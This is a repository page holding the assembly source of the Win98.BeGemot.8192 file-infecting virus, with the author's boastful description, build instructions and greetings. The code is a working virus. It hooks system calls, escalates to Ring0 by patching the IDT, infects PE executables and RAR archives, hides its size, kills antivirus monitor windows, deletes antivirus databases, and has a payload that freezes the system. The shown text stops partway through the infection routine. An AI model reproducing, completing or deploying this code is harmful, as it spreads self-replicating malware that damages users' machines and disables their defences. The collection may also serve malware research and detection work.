MalwareSourceCode/LegacyWindows/Win98/Win98.BeGemot.8192.asm
2020-10-16 22:28:58 +02:00

6291 lines
134 KiB
NASM
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[bg.asm]ÄÄÄ
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; Win98.BeGemot.8192 ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; by Benny/29A ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
;
;
;Author's description
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;I'm very proud to introduce my best virus. I wanted to show ya in this virus,
;what everything I can. There aren't all my favourite techniques (such as
;Memory Mapped Files), nevertheless I think this is a good virus. I tried to
;optimize it as much as I could, but there is still for sure something, that
;could be optimized much more than it is. But that's a life... I call it
;Win98 infector coz I tested it only on my Win98 machine. It should work on
;Win95 also, but devil never sleeps. I'm not sure, so that's why I call it
;Win98. Hmmmm, okay, that was the foreword, and now here is that promised
;description...
;
;This virus is the Win98 resident/semi-stealth/compressed/slow poly/Pentium+/
;multithreaded/Ring3/Ring0/PE/RAR/fast infector. It also deletes some AV
;databases/killin some AV monitors/uses VxDCall0 backdoor to call DOS
;services/usin' undocumented opcode and can infect EXE/SCR/RAR/SFX/CPL/DAT/BAK
;files. It appends to last section in PE files/inserts Win9X dropper into RAR
;files and enlarge files with constant size, that's 8192 bytes. (I decided,
;this is perfect number, noone will mind.) It uses BPE32 (Benny's Polymorphic
;Engine for Win32, published in DDT#1) and BCE32 (published in 29A#4) engines.
;BPE32 has perfect SEH trick (it fools many AVs) and BCE32 saves about 1,9kB
;of virus code (!!!). Combination of these engines is my virus, that is (in
;this time - summer 1999) undetectable by any heuristic methods (only first
;generation of virus is detectable). I tested it with DrWeb (IMO the best AV),
;NODICE32 (IMO the second best), AVP (perfect scanner, but...) and many otherz.
;
;But that's not all. If virus will get resident in memory, virus will jump to
;Ring0, it create VMM thread (system thread) which will patch Ring3 code and so
;allow Ring3 code execution and leave Ring0. Ring3 code will run on, while
;thread will run in memory on the background. Thread will allocate 1kB of
;shared memory (memory accesible to all processes) and slowly check for
;changes in it. If any change will appear, thread will do property action,
;dependin' on change. Why? I coded next to BG communication console, called
;BGVCC (BeGemot Virus Communication Console), so if virus is resident in
;memory, u can easily communicate with virus thread by it. Look at BGVCC
;source and u will see, how can u easily communicate with/control virus.
;This is the first virus with communication interface.
;
;It also uses many trix to fool AVs, e.g. SEH, spec. thread, RETF etc...
;
;
;
;Vocabulary (these words r often used)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; BG - Win98.BeGemot, this virus.
; BGVCC - BeGemot Virus Communication Console, utility included
; with this virus for controlin' BG and communicatin'
; with it.
; BGCB - BeGemot Control Block. If u watch any system manual,
; u will see THCB (Thread Control Block), VMCB (Virtual
; Machine Control Block), etc. I decided, BGCB is rite
; abbreviation for callin' this, really system block.
; It holds all items, that r used to communicate with
; BG / BG thread.
; BG thread - VMM thread, which manages BGCB.
;
;
;
;What will happen on execution ?
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
;Virus will:
;1) Decrypt it's body by polymorphic decryptor
;2) Decompress virus body
;3) Check, if it is already resident.
;4) Try to find VxDCall0 API
;5) Install virus to memory
;6) Kill some AV monitors (AVP, NODICE)
;7) Jump to host
;Virus in memory will:
;1) Check requested service
; - size stealth stage (stealth and quit)
; - infection stage (continue)
;2) Check filename
;3) Jump to Ring0 (by modifyin' IDT)
;4) Create new thread
;5) Exit from Ring0
;6) Infect file
;7) Delete some AV files
;8) Jump to previous handler
;
;
;
;AVP's description
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;Benny's notes: This is the worst description I have ever seen for so large
;virus as BeGemot is. U can see my notes in [* *]. Well, here is it:
;
;
;Win95.Begemot [* It's not fully compatible with Win95, but with Win98 only *]
;
;This is a dangerous [* why dangerous?! *] memory resident parasitic
;polymorphic Windows virus about 8Kb of length. The virus installs itself into
;the Windows memory [* shared memory! *] and infects PE EXE files [* and RAR
;files *] that are accessed. The virus uses system calls that are valid under
;Win95/98 only [* blah, some calls r valid only in Win98 *] and can't spread
;under NT. The virus also has bugs and often halts the system when run [* which
;one?! *]. The virus uses several unusual routines in its code: keeps its code
;encrypted and compressed in affected files (while installing it decompresses
;it); infects RAR archives (adds infected BEER.EXE file [* dropper! *] to
;archives); runs a thread that can communicate with external module [* u mean
;BGVCC? *] which controls the virus (for example, enables/disables infection
;routine) [* I thought u will talk much more about BGVCC *].
;
;The virus also looks for "AVP Monitor" and "Amon Antivirus Monitor" windows
;and closes them; deletes several anti-virus data files; depending on the
;system timer displays a message [* u forgot it or why u can't write here
;what message it is?! *].
;
;The virus also contains the "copyright" text:
;
; Virus Win98.BeGemot by Benny/29A
;
;[* That's all about my 8kB virus, Kasperpig?! *]
;
;
;
;Payload
;ÄÄÄÄÄÄÄÄ
;
;Every execution virus test tick counter for 22h value. If matches, virus will
;display MessageBox.
;
;
;
;Greetz
;ÄÄÄÄÄÄÄ
;
; Darkman/29A.... U said Amsterdam? Hmmm, prepare yourself for bath
; in the river :-)).
; Super/29A...... w0rkoholic!
; GriYo/29A...... So here is it with threads. HPS r0x, kewl tutes...
; Thanx for all...
; Billy_Bel...... DDT#1 r0x0r, no lie! Maybe, ehrm... VX and politix,
; that ain't rite combination.
; mgl............ .CZ/.SK RULEZ !!!
; IntelServ...... Tell me, how is that feelin', when u know, that
; everybody hates u!
; Kaspersky...... That's all u can?!
;
;
;
;How to build
;ÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; tasm32 -ml -q -m9 bg.asm
; tlink32 -Tpe -c -x -aa -r bg.obj,,, import32
; pewrsec.com bg.exe
;
;
;
;For who is this dedicated?
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;I dunno yet. But I can say, for who ain't this virus dedicated. It ain't for
;ppl such as IntelServ, for jerx, for stupid ppl, for intolerate ppl, for
;any fanatic ppl (fascists, capitalistix and communists), for my teachers at
;school, for those, who can't use brain, for braggers. This virus is dedicated
;for SMART ppl, whoever is it, whatever is color of their skin, wherever is
;livin'. Important isn't GRADE, important is what u have in your HEAD!
;
;
;
;(c) 1999 Benny/29A. Enjoy!
.586p ;why not ;)
.model flat ;FLAT model
include mz.inc ;include some important
include pe.inc ;include-filez
include win32api.inc
include useful.inc
BG_IDLE equ 0 ;some equates
BG_INFECTINEXEC equ 1 ;used
BG_INFECTINRAR equ 2 ;by communication
BG_STEALTHIN equ 3 ;thread
PC_WRITEABLE equ 00020000h ;equates used
PC_USER equ 00040000h ;in installation
PR_SHARED equ 80060000h ;stage
PC_PRESENT equ 80000000h
PC_FIXED equ 00000008h
PD_ZEROINIT equ 00000001h
mem_size equ (virtual_end-Start+0fffh)/1000h ;size of virus in
;memory (pages)
extrn ExitProcess:PROC ;used in first
;generation only
.data ;data section
Start: ;Start of virus
pushad ;save all regs
call gd ;get delta offset
gd: pop ebp ;...
lea esi, [ebp + _compressed_ - gd] ;where is compressed virus
;stored
lea edi, [ebp + decompressed - gd] ;where will be virus
;decompressed
mov ecx, 12345678h ;size of compressed virus
c_size = dword ptr $ - 4
;Decompression routine from BCE32 starts here.
pushad ;save all regs
xor eax, eax ;EAX = 0
xor ebp, ebp ;EBP = 0
cdq ;EDX = 0
lodsb ;load decryption key
push eax ;store it
lodsb ;load first byte
push 8 ;store 8
push edx ;store 0
d_bits: push ecx ;store ECX
test al, 80h ;test for 1
jne db0
test al, 0c0h ;test for 00
je db1
test al, 0a0h ;test for 010
je db2
mov cl, 6 ;its 011
jmp tb2
testb: test bl, 1 ;is it 1 ?
jne p1
push 0 ;no, store 0
_tb_: mov eax, ebp ;load byte to EAX
or al, [esp] ;set bit
ror al, 1 ;and make space for next one
call cbit
ret
p1: push 1 ;store 1
jmp _tb_ ;and continue
db0: xor cl, cl ;CL = 0
mov byte ptr [esp+4], 1 ;store 1
testbits:
push eax ;store it
push ebx ;...
mov ebx, [esp+20] ;load parameter
ror bl, cl ;shift to next bit group
call testb ;test bit
ror bl, 1 ;next bit
call testb ;test it
pop ebx ;restore regs
pop eax
mov ecx, [esp+4] ;load parameter
bcopy: cmp byte ptr [esp+8], 8 ;8. bit ?
jne dnlb ;nope, continue
mov ebx, eax ;load next byte
lodsb
xchg eax, ebx
mov byte ptr [esp+8], 0 ;and nulify parameter
dec dword ptr [esp] ;decrement parameter
dnlb: shl al, 1 ;next bit
test bl, 80h ;is it 1 ?
je nb ;no, continue
or al, 1 ;yeah, set bit
nb: rol bl, 1 ;next bit
inc byte ptr [esp+8] ;increment parameter
loop bcopy ;and align next bits
pop ecx ;restore ECX
inc ecx ;test flags
dec ecx ;...
jns d_bits ;if not sign, jump
pop eax ;delete pushed parameters
pop eax ;...
pop eax ;...
popad ;restore all regs
jmp decompressed
cbit: inc edx ;increment counter
cmp dl, 8 ;byte full ?
jne n_byte ;no, continue
stosb ;yeah, store byte
xor eax, eax ;and prepare next one
cdq ;...
n_byte: mov ebp, eax ;save back byte
ret Pshd ;quit from procedure with one parameter on stack
db1: mov cl, 2 ;2. bit in decryption key
mov [esp+4], cl ;2 bit wide
jmp testbits ;test bits
db2: mov cl, 4 ;4. bit
tb2: mov byte ptr [esp+4], 3 ;3 bit wide
jmp testbits ;test bits
_compressed_ db 1a00h dup (?) ;here is stored compressed
;virus body
decompressed: db virus_end-compressed dup (?) ;here decompressed
db size_unint dup (?) ;and here all uninitialized
;variables
virtual_end: ;end of virus in memory
ends
.code ;code section
first_gen: ;first generation code
mov esi, offset compressed ;source
mov edi, offset _compressed_ ;destination
mov ecx, virus_end-compressed+2 ;size
mov ebx, offset workspace1 ;workspace1
mov edx, offset workspace2 ;workspace2
call BCE32_Compress ;Compress virus body!
dec eax
mov [c_size], eax ;save compressed virus size
jmp Start ;jmp to virus
;Compression routine from BCE32 starts here. This is used only in first gen.
BCE32_Compress Proc
pushad ;save all regs
;stage 1
pushad ;and again
create_table:
push ecx ;save for l8r usage
push 4
pop ecx ;ECX = 4
lodsb ;load byte to AL
l_table:push eax ;save it
xor edx, edx ;EDX = 0
and al, 3 ;this stuff will separate and test
je st_end ;bit groups
cmp al, 2
je st2
cmp al, 3
je st3
st1: inc edx ;01
jmp st_end
st2: inc edx ;10
inc edx
jmp st_end
st3: mov dl, 3 ;11
st_end: inc dword ptr [ebx+4*edx] ;increment count in table
pop eax
ror al, 2 ;next bit group
loop l_table
pop ecx ;restore number of bytes
loop create_table ;next byte
push 4 ;this will check for same numbers
pop ecx ;ECX = 4
re_t: cdq ;EDX = 0
t_loop: mov eax, [ebx+4*edx] ;load DWORD
inc dword ptr [ebx+4*edx] ;increment it
cmp eax, [ebx] ;test for same numbers
je _inc_ ;...
cmp eax, [ebx+4] ;...
je _inc_ ;...
cmp eax, [ebx+8] ;...
je _inc_ ;...
cmp eax, [ebx+12] ;...
jne ninc_ ;...
_inc_: inc dword ptr [ebx+4*edx] ;same, increment it
inc ecx ;increment counter (check it in next turn)
ninc_: cmp dl, 3 ;table overflow ?
je re_t ;yeah, once again
inc edx ;increment offset to table
loop t_loop ;loop
popad ;restore regs
;stage 2
pushad ;save all regs
mov esi, ebx ;get pointer to table
push 3
pop ebx ;EBX = 3
mov ecx, ebx ;ECX = 3
rep_sort: ;bubble sort = the biggest value will
;always "bubble up", so we know number
;steps
push ecx ;save it
mov ecx, ebx ;set pointerz
mov edi, edx ;...
push edx ;save it
lodsd ;load DWORD (count)
mov edx, eax ;save it
sort: lodsd ;load next
cmp eax, edx ;is it bigger
jb noswap ;no, store it
xchg eax, edx ;yeah, swap DWORDs
noswap: stosd ;store it
loop sort ;next DWORD
mov eax, edx ;biggest in EDX, swap it
stosd ;and store
lea esi, [edi-16] ;get back pointer
pop edx ;restore regs
pop ecx
loop rep_sort ;and try next DWORD
popad
;stage 3
pushad ;save all regs
xor eax, eax ;EAX = 0
push eax ;save it
push 4
pop ecx ;ECX = 4
n_search:
push edx ;save regs
push ecx
lea esi, [ebx+4*eax] ;get pointer to table
push eax ;store reg
lodsd ;load DWORD to EAX
push 3
pop ecx ;ECX = 3
mov edi, ecx ;set pointerz
search: mov esi, edx
push eax ;save it
lodsd ;load next
mov ebp, eax
pop eax
cmp eax, ebp ;end ?
je end_search
dec edi ;next search
sub edx, -4
loop search
end_search:
pop eax ;and next step
inc eax
pop ecx
pop edx
add [esp], edi
rol byte ptr [esp], 2
loop n_search
pop [esp.Pushad_ebx] ;restore all
popad ;...
;stage 4
xor ebp, ebp ;EBP = 0
xor edx, edx ;EDX = 0
mov [edi], bl ;store decryption key
inc edi ;increment pointer
next_byte:
xor eax, eax ;EAX = 0
push ecx
lodsb ;load next byte
push 4
pop ecx ;ECX = 4
next_bits:
push ecx ;store regs
push eax
and al, 3 ;separate bit group
push ebx ;compare with next group
and bl, 3
cmp al, bl
pop ebx
je cb0
push ebx ;compare with next group
ror bl, 2
and bl, 3
cmp al, bl
pop ebx
je cb1
push ebx ;compare with next group
ror bl, 4
and bl, 3
cmp al, bl
pop ebx
je cb2
push 0 ;store bit 0
call copy_bit
push 1 ;store bit 1
call copy_bit
cb0: push 1 ;store bit 1
end_cb1:call copy_bit
pop eax
pop ecx
ror al, 2
loop next_bits ;next bit
pop ecx
loop next_byte ;next byte
mov eax, edi ;save new size
sub eax, [esp.Pushad_edi] ;...
mov [esp.Pushad_eax], eax ;...
popad ;restore all regs
cmp eax, ecx ;test for negative compression
jb c_ok ;positive compression
stc ;clear flag
ret ;and quit
c_ok: clc ;negative compression, set flag
ret ;and quit
cb1: push 0 ;store bit 0
end_cb2:call copy_bit
push 0 ;store bit 0
jmp end_cb1
cb2: push 0 ;store bit 0
call copy_bit
push 1 ;store bit 1
jmp end_cb2
copy_bit:
mov eax, ebp ;get byte from EBP
shl al, 1 ;make space for next bit
or al, [esp+4] ;set bit
jmp cbit
BCE32_Compress EndP ;end of compression procedure
compressed: ;compressed body starts here
@SEH_SetupFrame <jmp quit_payload> ;setup SEH frame
db 0d6h ;undoc. opcode SALC
;used only to fool AVs
call gdelta ;calculate delta offset
gdelta: pop ebp
mov ebx, 0bff70000h ;base address of K32 (95/98)
mov eax, [ebx.MZ_lfanew] ;get ptr to PE
add eax, ebx ;make it raw ptr
mov edi, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add edi, ebx ;get virtual address of ET
mov esi, [edi.ED_AddressOfFunctions] ;get start address of exported
add esi, ebx ;functions
xor edx, edx ;EDX=0
l_addr: cmp edx, [edi.ED_NumberOfFunctions] ;end of functions addresses?
jnb end_host ;yeah, jump to host
push 7
pop ecx ;ECX=7
l_func: inc edx ;EDX++
lodsd ;load dword
cmp eax, [esi] ;addresses equal?
jne l_addr ;no, next function
loop l_func ;yeah, next check
add eax, ebx ;make it raw ptr
mov [ebp + VxDCall0 - gdelta], eax ;and save address of VxDCall0
xchg eax, esi ;EAX <=> ESI
xor eax, eax ;residency check
mov ah, 2ah ;get system time
mov edi, '!BG!' ;our sign
call int21h ;call int21h dispatcher
cmp esi, 1982 ;already resident?
je end_host ;yeah, jump to host
push PC_WRITEABLE or PC_USER ;now we will reserve memory
push mem_size ;for our virus body in shared
push PR_SHARED ;area of virtual memory, so it
push 00010000h ;will be visible for all
call [ebp + VxDCall0 - gdelta] ;processes
inc eax ;error ?
je end_host ;yeah, jump to host
dec eax ;no, continue
mov ebx, eax ;save address to EBX register
cmp eax, 80000000h ;is it in shared area ?
jb pg_free ;no, free pages and quit
mov [ebp + mem_addr - gdelta], eax ;save address
push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
push 0 ;now we will commit
push PD_ZEROINIT ;physical space for our
push mem_size ;reserved pages.
shr eax, 0ch
push eax
push 00010001h
call [ebp + VxDCall0 - gdelta]
xchg eax, ecx ;error ?
jecxz pg_free ;yeah, free pages and quit
push ebx ;save address
sub ebx, compressed-VxDCall_addr-(decompressed-Start)
mov [ebp + jump_loc - gdelta], ebx ;store handler location
mov ecx, 100h ;now we will search for
vxdloop:lodsb ;call instruction
cmp al, 2eh ;is it "CS:" selector override?
jne vxdnext ;no, next byte
cmp word ptr [esi], 1dffh ;and is it our instruction?
je got_ptr ;yeah, we got ptr to memory
vxdnext:loop vxdloop ;no, next try
pop ebx ;EBX=address our pages
pg_free:push 0 ;shit, address not found,
push ebx ;we have to free pages
push 0001000ah ;and jump to host
call [ebp + VxDCall0 - gdelta] ;free pages call
jmp end_host ;(((
got_ptr:mov edi, [esp] ;get address of our pages
pushad ;save all registers
lea esi, [ebp + compressed-gdelta-(decompressed-Start)]
mov ecx, (virtual_end-Start+3)/4 ;copy virus to shared memory
rep movsd ;...
popad ;restore all registers
cli ;exclusive execution
inc esi ;skip instruction
inc esi
lodsd ;load address from instruction
push eax ;store it
xchg eax, esi ;ESI=address
mov edi, ebx ;EDI=original address of address
push 6
pop ecx ;ECX=6
rep movsb ;save original 48bit address
pop edi ;restore address
pop eax ;get ptr to shared memory
sub eax, compressed-VxDCall_hook-(decompressed-Start)
stosd ;store address of our handler
mov eax, cs ;+selector
stosw ;store selector
sti ;nonexclusive execution...
end_host:
in al, 40h ;is it rite time to activate
cmp al, 22 ;our payload?
je do_payload ;yeah
lea esi, [ebp + ShItTyMoNs - gdelta] ;no, but lets kill some
xor edi, edi ;AV monitors
push 2
pop ecx ;2 monitors
KiLlMoNs:
push ecx
push esi
push edi
call [ebp + FndWndA - gdelta] ;find window
test eax, eax ;found?
je next_mon ;no, try to kill other monitor
push edi ;now we will send message
push edi ;to AV window to kill itself
push 12h ;veeeeeeery stupid X-DD
push eax
call [ebp + PstMsgA - gdelta] ;bye bye, hahaha
next_mon:
add esi, 0ch ;next monitor string
pop ecx
loop KiLlMoNs ;kill another one
quit_payload:
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all regs
push cs ;now we will use FAR return
db 0a1h ;trick to fool some stupid
dd 400002h.MZ_res2 ;heuristic scanners. Heh, who
sub eax, -400000h ;could expect someone will
push eax ;FAR return in flat model, heh
retf ;jump to host
do_payload: ;time for our payload
push 1000h ;system modal window
call szTitle ;title of window
sztt db "Virus Win98.BeGemot by Benny/29A", 0
ShItTyMoNs:
db 'AVP Monitor', 0
db 'Amon Antivirus Monitor', 0
szTitle:call szText ;text of window
sztx db 'Wait a minute,',0dh,0dh
db 'Micro$h!t is everywhere u want to be...',0dh
db 'Please call Micro$h!t on-line help, if u have any problems.',0dh
db 'Don''t u have a telephone? So call your system supervisor.',0dh
db 'R u supervisor? So call Micro$h!t on-line help...',0dh
db 'Ehrm, well... where do u want to go y3st3rday?',0dh,0dh
db 'PS: Your problem ain''t virus. Micro$h!t didn''t certified', 0dh
db 'this hardware, buy a new one...',0dh
db 'Press OK button to solve this problem by Micro$h!t...',0
MsgBxA dd 0bff5412eh
FndWndA dd 0bff5590ch
PstMsgA dd 0bff556fch
szText: push 0 ;HWnd=0
call [ebp + MsgBxA - gdelta] ;display message box
cli ;fuck all preemptives
FuckThemAll:
jmp FuckThemAll ;infinite loop. System wont
;switch to another process ;)
write_something: ;WriteToFile procedure
mov ah, 40h ;Write to file service
jmp int21h ;call int21h
read_something: ;ReadFromFile procedure
lea edx, [ebp + header - mgdelta] ;to header variable
r_something: ;ReadFromFile procedure2
mov ah, 3fh ;service number
int21h: push ecx ;push parameters
push eax
push 002a0010h ;service number to VMM
ipatch: jmp int21 ;call int21h
rint21: call [ebp + VxDCall0 - mgdelta] ;resident version of int21h
ret
int21: call [ebp + VxDCall0 - gdelta] ;runtime version of int21h
ret
;AV filez born to be deleted
ShItTyFiLeZ: db 'DRWEBASE.VDB', 0 ;ByE-kAsPeRsKy
db 'NOD32.000', 0 ;ByE-tRnKa
db 'AVG.AVI', 0 ;ByE-oDeHnAl
db 'ANTI-VIR.DAT', 0 ;ByE-tBaV
db 'AVP.CRC', 0 ;ByE-aVp
RARHeader: ;No comment ;)
RARHeaderCRC dw 0
RARType db 74h
RARFlags dw 8000h
RARHSize dw end_RAR-RARHeader
RARCompressed dd 3000h
RAROriginal dd 3000h
RAROS db 0
RARCRC32 dd 0
RARFileDateTime dd 12345678h
RARNeedVer db 14h
RARMethod db 30h
RARFNameSize dw end_RAR-RARName
RARAttrib dd 0
RARName db 'BEER.EXE'
end_RAR:
last_test:
cmp ah, 2ah ;Get system time?
jne exit_infection ;no, back to original handler
cmp edi, '!BG!' ;our sign?
jne exit_infection ;no, back to orig. handler
popad ;restore all registers
mov esi, 1982 ;mark this
jmp farjmp ;and quit
VxDCall_hook proc ;VXDCall hooker starts here
pushad ;save all regs
call mgdelta ;get delta offset
mgdelta:pop ebp
xor ecx, ecx ;ECX=0
mov cl, 1 ;CL=semaphore
semaphore = byte ptr $ - 1
jecxz quit_hook ;we wont trace our calls
cmp eax, 002a0010h ;int21h dispatch service?
jne quit_hook ;no, quit
mov eax, [esp+2ch] ;get service number
cmp ah, 3dh ;Open file ?
je infect
cmp ah, 43h ;Get/Set attributes
je infect
cmp ax, 6c00h ;Extended Create/Open
je infct2
cmp ah, 71h ;any LFN service ?
jne last_test
cmp al, 43h ;Extended Get/Set attributes ?
je infect
cmp al, 4eh ;LFN find first file
je stealth
cmp al, 4fh ;LFN find next file
je stealth
cmp al, 56h ;LFN rename file
je infect
cmp al, 6ch ;LFN extended open
je infct2
cmp al, 0a8h ;LFN short name
je infct2
exit_infection:
mov byte ptr [ebp + semaphore - mgdelta], 1 ;set semaphore
mov byte ptr [ebp + v_state - mgdelta], BG_IDLE ;set virus state
quit_hook:
popad ;restore all regs
farjmp: jmp fword ptr cs:[12345678h] ;and jump to
jump_loc = dword ptr $ - 4 ;previous handler
s_int21h: ;int21h for stealth
push ecx ;function
push eax
push 002a0010h
call [ebp + VxDCall0 - sgdelta]
ret
stealth: ;stealthin function starts here
mov byte ptr [ebp + v_state - mgdelta], BG_STEALTHIN ;set virus state
push dword ptr [esp+28h] ;now we will call property
pop dword ptr [ebp + s_ret - mgdelta] ;function and get result
lea eax, [ebp + api_ret - mgdelta]
mov [esp+28h], eax ;set return address
mov [ebp + find_data - mgdelta], edi ;save ptr to WIN32FINDDATA
jmp quit_hook ;and call prev. handler
api_ret:jc b2caller ;return and get results
pushad ;get delta offset
call sgdelta
sgdelta:pop ebp
mov edi, 12345678h ;get WIN32FINDDATA
find_data = dword ptr $ - 4
lea esi, [edi.WFD_szFileName]
push esi
call c_name ;check filename
pop esi
jc quit_stealth ;error, quit stealth
mov byte ptr [ebp + semaphore - sgdelta], 0 ;set semaphore
mov eax, 716ch ;Extended Open/Create file
xor ebx, ebx ;flags
xor ecx, ecx ;attributes
cdq ;action
inc edx ;...
call s_int21h ;call it
jc quit_stealth ;error?
xchg eax, ebx
mov ah, 3fh ;read DOS MZ header
push IMAGE_SIZEOF_DOS_HEADER
pop ecx
lea edx, [ebp + header - sgdelta]
call s_int21h ;...
jc s_close
cmp word ptr [ebp + header.MZ_res2 - sgdelta], 29ah ;is it infected
jne s_close ;no, quit
add dword ptr [edi.WFD_nFileSizeLow], -2000h ;yeah, return original
;size
s_close:mov ah, 3eh ;close file
call s_int21h
quit_stealth:
mov byte ptr [ebp + semaphore - sgdelta], 1 ;set semaphore
popad ;restore all regs
clc ;clear carry
b2caller:
push 12345678h ;and jump back
s_ret = dword ptr $ - 4 ;to host program
ret ;...
EnterRing0: ;Ring0 port
pop eax ;get address
pushad ;save all registers
pushad ;and again
sidt fword ptr [esp-2] ;load 6byte long IDT address
popad ;restore registers
sub edi, -(8*3) ;move to int3
push dword ptr [edi] ;save original IDT
stosw ;modify IDT
inc edi ;move by 2
inc edi ;...
push dword ptr [edi] ;save original IDT
push edi ;save pointer
mov ah, 0eeh ;IDT FLAGs
stosd ;save it
mov ebx, cs ;fill registers with
mov ecx, ds ;selectors for l8r use
mov esi, es ;...
mov edi, ss ;...
push ds ;save some selectors
push es ;...
int 3 ;JuMpToRiNg0!
pop es ;restore selectors
pop ds ;...
pop edi ;restore ptr
add edi, -4 ;move with ptr
pop dword ptr [edi+4] ;and restore IDT
pop dword ptr [edi] ;...
p_jmp: inc eax ;some silly loop to fool
cdq ;some AVs. Will be overwritten
jmp p_jmp ;with NOPs l8r by new thread
popad ;restore all regs
jmp LeaveRing0 ;and leave procedure
Thread Proc ;thread procedure start here
call tgdelta ;get delta offset
tgdelta:pop ebp
mov [ebp + p_jmp - tgdelta], 90909090h ;overwrite silly loop by NOPs
push PC_WRITEABLE or PC_USER ;reserve one page
push 1 ;in shared memory
push PR_SHARED ;for BGCB
push 00010000h ;...
call [ebp + VxDCall0 - tgdelta] ;...
inc eax
je t_sleep ;error?
dec eax
cmp eax, 80000000h ;is it in shared memory ?
jb free_pg
mov ebx, eax ;save address
push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
push 0 ;and now we will commit
push PD_ZEROINIT ;physical space in memory
push 1 ;...
shr eax, 0ch ;...
push eax ;...
push 00010001h ;...
call [ebp + VxDCall0 - tgdelta] ;...
test eax, eax ;if error, free pages
je free_pg ;and quit
;some equates for BGCB
BGCB_Signature equ 00 ;BGCB signature ('BGCB')
BGCB_New equ 04 ;new request (1-new, 0 not)
BGCB_ID equ 08 ;ID of request
BGCB_Data equ 12 ;property data
;EAX=1, ECX=0
mov [ebx.BGCB_Signature], 'BCGB' ;set signature
t_rep: call t_sleep ;sleep for some ms
cli ;exclusive execution
cmp [ebx.BGCB_New], ecx ;anything new?
je t_end ;no
mov [ebx.BGCB_New], ecx ;yeah, nulify item
mov edx, [ebx.BGCB_ID] ;and check ID
test edx, edx ;0?
je p_test ;virus presency check
dec edx ;1?
je i_test ;virus state checkin'
dec edx ;2?
je d_test ;disable virus actions
dec edx ;3?
je e_test ;enable virus actions
dec edx ;4?
je g_test ;get sleep time
dec edx ;5?
je si_test ;increase sleep time
dec edx ;6?
je sd_test ;decrease sleep time
dec edx ;7?
je k_test ;system halt
dec edx ;8?
je ds_test ;disconnect
t_end: sti ;allow INTs
jmp t_rep ;and sleep
p_test: mov [ebx.BGCB_Data], eax ;set BGCB data to 1
jmp t_end
i_test: mov byte ptr [ebx.BGCB_Data], 0 ;set BGCB data to v_state
v_state = byte ptr $ - 1
jmp t_end
d_test: mov word ptr [ebp + VxDCall_hook - tgdelta], 0ebh+((farjmp-VxDCall_hook-2)shl 8)
jmp t_end ;construct JMP to end
e_test: mov word ptr [ebp + VxDCall_hook - tgdelta], 0e860h
jmp t_end ;reconstruct original bytes
g_test: mov edx, [ebp + sleep_t - tgdelta] ;get sleep time
mov [ebx.BGCB_Data], edx ;store it in BGCB data
jmp t_end
si_test:mov edx, [ebx.BGCB_Data] ;get increment
add [ebp + sleep_t - tgdelta], edx ;add it to sleep time
jmp t_end
sd_test:mov edx, [ebx.BGCB_Data] ;get decrement
sub [ebp + sleep_t - tgdelta], edx ;substract sleep time with it
jmp t_end
k_test: cli ;halt system
_hlt_: jmp _hlt_
ds_test:sti ;allow INTs
push 0 ;decommit page
push 1
push ebx
push 00010002h
call [ebp + VxDCall0 - tgdelta]
free_pg:push 0 ;free page
push ebx
push 0001000ah
call [ebp + VxDCall0 - tgdelta]
push -1 ;sleep thread for ever
sleep: push 002a0009h ;service Sleep
call [ebp + VxDCall0 - tgdelta] ;call it
popad ;restore all regs
ret ;return
t_sleep:pushad ;save all regs
push 1000 ;one second long sleep time
sleep_t = dword ptr $ - 4
jmp sleep ;sleep
Thread EndP ;thread ends here
infect: mov esi, edx ;ESI=EDI
infct2: mov byte ptr [ebp + semaphore - mgdelta], 0 ;set semaphore
mov word ptr [ebp + ipatch - mgdelta], 9090h ;patch int21h
xor ecx, ecx ;ECX=0
mov cl, 1 ;CL=r0_patch
r0_patch = byte ptr $ - 1 ;ring0 procedure is called
jecxz LeaveRing0 ;only once
call EnterRing0 ;EnTeRrInG0
push 0 ;Now we will create new
lea edx, [ebp + callback - mgdelta] ;VMM thread
push edx ;callback function
push 'tA92' ;thread type
push esi ;ES
push ecx ;DS
lea edx, [ebp + Thread - mgdelta] ;EIP
push edx ;...
push ebx ;CS
lea edx, [ebp + threadstack - mgdelta] ;ESP
push edx ;...
push edi ;SS
int 20h ;VMMCall
dd 00010105h ;VMMCreateThread
sub esp, -24h ;correct stack
mov byte ptr [ebp + r0_patch - mgdelta], 0 ;patch
iretd ;return from INT
LeaveRing0:
call check_name ;check filename
;MODIFY ON YOUR OWN RISC!
jc exit_infection ;error?
; jmp exit_infection
mov [ebp + tmpext - mgdelta], eax ;save extension
mov eax, 7143h ;LFN retrieve
xor ebx, ebx ;attributes
call int21h
jc exit_infection
mov [ebp + file_attr - mgdelta], ecx ;save them
mov eax, 7143h ;LFN set attributes
inc ebx
xor ecx, ecx
call int21h ;set them
jc exit_infection
mov eax, 7143h ;LFN retrieve time/date
inc ebx
inc ebx
inc ebx
call int21h
